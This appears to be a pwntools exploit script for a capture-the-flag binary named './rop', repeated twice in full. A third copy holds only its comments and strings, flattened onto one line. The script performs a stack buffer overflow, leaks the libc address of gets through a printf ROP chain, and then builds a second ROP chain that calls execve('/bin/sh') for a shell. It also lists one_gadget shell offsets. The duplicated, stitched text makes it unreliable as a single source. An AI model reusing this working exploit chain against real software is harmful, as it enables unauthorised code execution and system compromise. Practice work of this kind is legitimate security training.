#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./rop
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('./rop')

if args.LIBC:
  libc_path = "./libc.so.6"
  os.environ['LD_PRELOAD'] = libc_path
else:
  libc_path = "/lib32/libc.so.6"

libc = ELF(libc_path)
os.environ['LD_LIBRARY_PATH'] = '.'


# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
#break *0x{exe.symbols.main:x}
#b *0x080487a6
b *vuln+55
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     i386-32-little
# RELRO:    Partial RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      No PIE (0x8048000)

ADDR_GETS=0x080487bc
ADDR_PRINTF=0x080487ad 

BSS_BASE=0x0804a000

GAD_POP_ESI_EDI_EBP_RET = 0x08048899    #: pop esi; pop edi; pop ebp; ret
GAD_POP_ECX_EBX_EBP_LEA_ESP = 0x08048826 #: pop ecx; pop ebx; pop ebp; lea esp, [ecx - 4]; ret;

GAD_POP_EDI_EBP_RET=0x0804889a          #: pop edi; pop ebp; ret;
GAD_POP_EBP_RET=0x080485fb              #: pop ebp; ret;
GAD_POP_EBX_ESI_EDI_RET=0x08048898      #: pop ebx; pop esi; pop edi; pop ebp; ret;

base_offset = 0x66ae0

io = start()
io.recvuntil("> ")

payload = "A"*24
payload += p32(BSS_BASE+0x500)
payload += p32(ADDR_PRINTF)
payload += p32(BSS_BASE+0x10)
#for i in range(200):

io.sendline(payload)


libc_gets_leak = u32(io.recvn(4))
print "LEAK gets(): ", hex(libc_gets_leak)
print "LEAK base : ", hex(libc_gets_leak-base_offset)
libc.address = libc_gets_leak - libc.symbols['gets']
print "LIBC address base: ",hex(libc.address)
print "LIBC gets: ", hex(libc.symbols['gets'])

GAD_LIBC_POP_EAX=libc.address+0x00024a67#: pop eax; ret;
GAD_LIBC_POP_EBX=libc.address+0x00018be5#: pop ebx; ret; 
GAD_LIBC_POP_ECX=libc.address+0x00193908#: pop ecx; ret; 
GAD_LIBC_POP_EDX=libc.address+0x00001aae#: pop edx; ret;
GAD_LIBC_INT80=libc.address+0x000be326#: int 0x80; push ecx; cmp eax, 0xfffff001; jae 0x18f70; ret;


payload = "/bin/sh\x00"
payload += "A"*16
#cyclic(100)
payload += p32(BSS_BASE+0x900)
payload += p32(GAD_LIBC_POP_EAX)
payload += p32(0x0b)
payload += p32(GAD_LIBC_POP_EBX)
payload += p32(BSS_BASE+0x4e8)
payload += p32(GAD_LIBC_POP_ECX)
payload += p32(0x0)
payload += p32(GAD_LIBC_POP_EDX)
payload += p32(0x0)
payload += p32(GAD_LIBC_INT80)

io.sendline(payload)

io.interactive()
io.close
# shellcode = asm(shellcraft.sh())
# payload = fit({
#     32: 0xdeadbeef,
#     'iaaa': [1, 2, 'Hello', 3]
# }, length=128)
# io.send(payload)
# flag = io.recv(...)
# log.success(flag)



"""
0x3d0d3 execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL

0x3d0d5 execve("/bin/sh", esp+0x38, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x38] == NULL

0x3d0d9 execve("/bin/sh", esp+0x3c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x3c] == NULL

0x3d0e0 execve("/bin/sh", esp+0x40, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x40] == NULL

0x67a7f execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL

0x67a80 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL

0x137e5e execl("/bin/sh", eax)
constraints:
  ebx is the GOT address of libc
  eax == NULL

0x137e5f execl("/bin/sh", [esp])
constraints:
  ebx is the GOT address of libc
  [esp] == NULL
"""











#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./rop
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('./rop')

if args.LIBC:
  libc_path = "./libc.so.6"
  os.environ['LD_PRELOAD'] = libc_path
else:
  libc_path = "/lib32/libc.so.6"

libc = ELF(libc_path)
os.environ['LD_LIBRARY_PATH'] = '.'


# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
#break *0x{exe.symbols.main:x}
#b *0x080487a6
b *vuln+55
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     i386-32-little
# RELRO:    Partial RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      No PIE (0x8048000)

ADDR_GETS=0x080487bc
ADDR_PRINTF=0x080487ad 

BSS_BASE=0x0804a000

GAD_POP_ESI_EDI_EBP_RET = 0x08048899    #: pop esi; pop edi; pop ebp; ret
GAD_POP_ECX_EBX_EBP_LEA_ESP = 0x08048826 #: pop ecx; pop ebx; pop ebp; lea esp, [ecx - 4]; ret;

GAD_POP_EDI_EBP_RET=0x0804889a          #: pop edi; pop ebp; ret;
GAD_POP_EBP_RET=0x080485fb              #: pop ebp; ret;
GAD_POP_EBX_ESI_EDI_RET=0x08048898      #: pop ebx; pop esi; pop edi; pop ebp; ret;

base_offset = 0x66ae0

io = start()
io.recvuntil("> ")

payload = "A"*24
payload += p32(BSS_BASE+0x500)
payload += p32(ADDR_PRINTF)
payload += p32(BSS_BASE+0x10)
#for i in range(200):

io.sendline(payload)


libc_gets_leak = u32(io.recvn(4))
print "LEAK gets(): ", hex(libc_gets_leak)
print "LEAK base : ", hex(libc_gets_leak-base_offset)
libc.address = libc_gets_leak - libc.symbols['gets']
print "LIBC address base: ",hex(libc.address)
print "LIBC gets: ", hex(libc.symbols['gets'])

GAD_LIBC_POP_EAX=libc.address+0x00024a67#: pop eax; ret;
GAD_LIBC_POP_EBX=libc.address+0x00018be5#: pop ebx; ret; 
GAD_LIBC_POP_ECX=libc.address+0x00193908#: pop ecx; ret; 
GAD_LIBC_POP_EDX=libc.address+0x00001aae#: pop edx; ret;
GAD_LIBC_INT80=libc.address+0x000be326#: int 0x80; push ecx; cmp eax, 0xfffff001; jae 0x18f70; ret;


payload = "/bin/sh\x00"
payload += "A"*16
#cyclic(100)
payload += p32(BSS_BASE+0x900)
payload += p32(GAD_LIBC_POP_EAX)
payload += p32(0x0b)
payload += p32(GAD_LIBC_POP_EBX)
payload += p32(BSS_BASE+0x4e8)
payload += p32(GAD_LIBC_POP_ECX)
payload += p32(0x0)
payload += p32(GAD_LIBC_POP_EDX)
payload += p32(0x0)
payload += p32(GAD_LIBC_INT80)

io.sendline(payload)

io.interactive()
io.close
# shellcode = asm(shellcraft.sh())
# payload = fit({
#     32: 0xdeadbeef,
#     'iaaa': [1, 2, 'Hello', 3]
# }, length=128)
# io.send(payload)
# flag = io.recv(...)
# log.success(flag)



"""
0x3d0d3 execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL

0x3d0d5 execve("/bin/sh", esp+0x38, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x38] == NULL

0x3d0d9 execve("/bin/sh", esp+0x3c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x3c] == NULL

0x3d0e0 execve("/bin/sh", esp+0x40, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x40] == NULL

0x67a7f execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL

0x67a80 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL

0x137e5e execl("/bin/sh", eax)
constraints:
  ebx is the GOT address of libc
  eax == NULL

0x137e5f execl("/bin/sh", [esp])
constraints:
  ebx is the GOT address of libc
  [esp] == NULL
"""











#!/usr/bin/env python2 # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template ./rop # Set up pwntools for the correct architecture # Many built-in settings can be controlled on the command-line and show up # in "args".  For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR Start the exploit against the target. # Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB #break *0x{exe.symbols.main:x} #b *0x080487a6 b *vuln+55 continue #=========================================================== #                    EXPLOIT GOES HERE #=========================================================== # Arch:     i386-32-little # RELRO:    Partial RELRO # Stack:    No canary found # NX:       NX enabled # PIE:      No PIE (0x8048000) #: pop esi; pop edi; pop ebp; ret #: pop ecx; pop ebx; pop ebp; lea esp, [ecx - 4]; ret; #: pop edi; pop ebp; ret; #: pop ebp; ret; #: pop ebx; pop esi; pop edi; pop ebp; ret; #for i in range(200): #: pop eax; ret; #: pop ebx; ret; #: pop ecx; ret; #: pop edx; ret; #: int 0x80; push ecx; cmp eax, 0xfffff001; jae 0x18f70; ret; #cyclic(100) # shellcode = asm(shellcraft.sh()) # payload = fit({ #     32: 0xdeadbeef, #     'iaaa': [1, 2, 'Hello', 3] # }, length=128) # io.send(payload) # flag = io.recv(...) # log.success(flag) 0x3d0d3 execve("/bin/sh", esp+0x34, environ) constraints:   esi is the GOT address of libc   [esp+0x34] == NULL  0x3d0d5 execve("/bin/sh", esp+0x38, environ) constraints:   esi is the GOT address of libc   [esp+0x38] == NULL  0x3d0d9 execve("/bin/sh", esp+0x3c, environ) constraints:   esi is the GOT address of libc   [esp+0x3c] == NULL  0x3d0e0 execve("/bin/sh", esp+0x40, environ) constraints:   esi is the GOT address of libc   [esp+0x40] == NULL  0x67a7f execl("/bin/sh", eax) constraints:   esi is the GOT address of libc   eax == NULL  0x67a80 execl("/bin/sh", [esp]) constraints:   esi is the GOT address of libc   [esp] == NULL  0x137e5e execl("/bin/sh", eax) constraints:   ebx is the GOT address of libc   eax == NULL  0x137e5f execl("/bin/sh", [esp]) constraints:   ebx is the GOT address of libc   [esp] == NULL